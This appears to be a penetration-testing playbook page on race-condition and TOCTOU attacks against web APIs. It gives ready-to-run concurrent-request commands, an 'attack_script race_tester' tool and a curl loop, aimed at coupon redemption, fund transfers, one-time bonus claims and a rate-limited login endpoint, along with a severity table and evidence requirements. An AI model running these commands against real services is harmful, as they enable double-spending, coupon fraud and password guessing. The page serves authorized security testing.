Race Condition / TOCTOU Attack

Objective

Exploit time-of-check-to-time-of-use (TOCTOU) vulnerabilities by sending concurrent requests that bypass server-side validation.

Testing Methodology

Phase 1: Identify Targets

State-changing operations vulnerable to race conditions:

• Coupon/promo code redemption
• Fund transfers / payments
• Vote/like systems
• Account creation (duplicate)
• Inventory purchase
• Password/email change
• File operations

Phase 2: Automated Race Testing

# Basic race test — 20 concurrent POST requests
attack_script race_tester "https://TARGET/api/redeem" \
  -m POST \
  -H "Authorization:Bearer TOKEN" \
  -d '{"coupon":"DISCOUNT50"}' \
  -c 20 \
  --json-output

# With delay (staggered)
attack_script race_tester "https://TARGET/api/transfer" \
  -m POST \
  -H "Authorization:Bearer TOKEN" \
  -d '{"to":"attacker","amount":100}' \
  -c 50 \
  --delay 5

Phase 3: Single-Packet Attack (Turbo Intruder)

For critical timing, send all requests in a single TCP packet:

# Using curl with parallel connections
for i in $(seq 1 20); do
  curl -s -X POST https://TARGET/api/redeem \
    -H "Authorization: Bearer TOKEN" \
    -d '{"coupon":"DISCOUNT50"}' &
done
wait

Phase 4: Analysis

Look for:

• Multiple successful responses (coupon applied 2+ times)
• Balance inconsistencies
• Duplicate records created
• Response length/status variations indicating multiple successes

Phase 5: Limit Bypass Race

# Race on rate-limited endpoint
attack_script race_tester "https://TARGET/api/login" \
  -m POST \
  -d '{"email":"victim@test.com","password":"guess1"}' \
  -c 30

# Race on one-time action
attack_script race_tester "https://TARGET/api/claim-bonus" \
  -m POST \
  -H "Authorization:Bearer TOKEN" \
  -c 20

What Constitutes a Finding

Finding	Severity
Financial: double-spend, duplicate transfer	Critical (P1)
Coupon/code reused multiple times	High (P2)
Rate limit bypassed via race	Medium (P3)
Duplicate record creation	Medium (P3)
Vote/like manipulation	Low (P4)

Evidence Requirements

• Target endpoint and parameters
• Number of concurrent requests
• Multiple successful responses proving race succeeded
• Business impact (e.g., coupon applied twice, balance doubled)
• Status code distribution from race test

Tools

• attack_script race_tester — async concurrent request sender

References

• PortSwigger: Race Conditions
• James Kettle: Smashing the State Machine